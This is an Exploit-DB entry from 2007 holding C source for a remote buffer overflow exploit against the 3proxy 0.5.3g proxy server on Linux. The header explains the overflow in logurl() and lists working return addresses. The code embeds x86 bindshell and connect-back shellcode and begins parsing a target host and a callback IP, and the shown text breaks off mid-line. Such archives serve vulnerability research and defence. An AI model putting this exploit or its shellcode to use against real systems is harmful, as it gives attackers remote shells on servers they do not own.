Exploit-DB #3821
Description: 3proxy 0.5.3g (Linux) - 'proxy.c logurl()' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2007-04-30
Author: vade79

Exploit:
/*[ 3proxy[v0.5.3g]: (linux) remote buffer overflow exploit. ]***
  *                                                             *
  * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)            *
  *                                                             *
  * compile:                                                    *
  *  gcc x3proxy.c -o x3proxy                                   *
  *                                                             *
  * syntax:                                                     *
  *  ./x3proxy [-pscr+] -h host                                 *
  *                                                             *
  * sumus homepage/url:                                         *
  *  http://3proxy.ru/                                          *
  *                                                             *
  * 3Proxy tiny free proxy server previously known as 3[APA3A]  *
  * tiny freeware proxy.                                        *
  *                                                             *
  * I just saw a (gentoo) advisory, and got curious how easy    *
  * it would be to exploit this.  The vulnerability is fairly   *
  * trival:                                                     *
  *                                                             *
  * ----------------------------------------------------------- *
  * GET /[NOPS][SHELLCODE][RETADDR]\n                           *
  * Host: [FILLER]\n\n                                          *
  * ----------------------------------------------------------- *
  *                                                             *
  * The length of "Host: [FILLER]" is exactly how many bytes    *
  * past the buffer boundary it will go, if it's not there it   *
  * won't overflow.  The vulnerability can be found in proxy.c  *
  * in the logurl() function. (buf[LINESIZE])                   *
  *                                                             *
  * I didn't work out a common place to find the shellcode in   *
  * memory.  but, the following values(-r option) worked for    *
  * me:                                                         *
  *  0x0805333c (gentoo/r2 0.5.3g src compile)                  *
  *  0x08054da8 (mandrake 0.5.3g src compile)                   *
  *                                                             *
  * It will probably be easiest to run through a debugger and   *
  * find where the address of the shellcode is.  (offsets of    *
  * around 1500 when brute guessing)                            *
  ***************************************************************/
#include <stdio.h>
#include <stdlib.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFSIZE 2200
#define TIMEOUT 10
#define DFL_PORT 3128
#define DFL_SPORT 7979
#define DFL_RETADDR 0x08048004

/* globals. */
static char x86_bind[]= /* bindshell, from netric. */
 "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
 "\xcd\x80\x31\xd2\x52\x66\x68\xff\xff\x43\x66\x53\x89"
 "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
 "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
 "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
 "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
 "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
 "\x80";
static char x86_conn[]= /* connect-back, eSDee/netric. */
 "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51"
 "\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
 "\x31\xc0\x31\xc9\x51\x51\x68\xff\xff\xff\xff\x66\x68"
 "\xff\xff\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52"
 "\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74"
 "\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
 "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31"
 "\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
 "\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
 "\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd"
 "\x80";
char *x86_ptr;
struct{
 unsigned int addr;
 signed int off;
 char *host;
 unsigned short port;
 unsigned short sport;
}tbl;

/* lonely extern. */
extern char *optarg;

/* functions. */
char *getbuf(unsigned int);
unsigned short proxy_connect(char *,unsigned short);
signed int getshell_bind_init(unsigned short);
signed int getshell_bind_accept(signed int);
signed int getshell_conn(char *,unsigned short);
void proc_shell(signed int);
void printe(char *,short);
void usage(char *);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* start. */
int main(int argc,char **argv){
 signed int chr=0,rsock=0;
 unsigned int bs=0;
 struct hostent *t;
 in_addr_t s=0;
 printf("[*] 3proxy[v0.5.3g]: (linux) remote buffer overflow explo"
 "it.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
 tbl.port=DFL_PORT;
 tbl.sport=DFL_SPORT;
 tbl.addr=DFL_RETADDR;

 while((chr=getopt(argc,argv,"h:p:s:c:r:+:"))!=EOF){
  switch(chr){
   case 'h':
    if(!tbl.host&&!(tbl.host=(char *)strdup(optarg)))
     printe("main(): allocating memory failed",1);  
    break;
   case 'p':
    tbl.port=atoi(optarg);
    break;
   case 's':
    tbl.sport=atoi(optarg);
    break;
   case 'c':
    if((s=inet_addr(optarg))){
     if((t=gethostbyname(optarg)))
      memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
     if(s==-1)s=0;
     if(!s)printe("invalid host/ip. (-c option)",0);
    }
    break;
   case 'r':
    sscanf(optarg,"%x",&tbl.addr);
    break;
   case '+':
    tbl.off=atoi(optarg);
    break;
   default:
    usage(argv[0]);
    break;
  }
 }
 if(!tbl.host)usage(argv[0]);

 /* set bind port for shellcode. */
 if(!s){
  bs=strlen(x86_bind);
  x86_bind[20]=(tbl.sport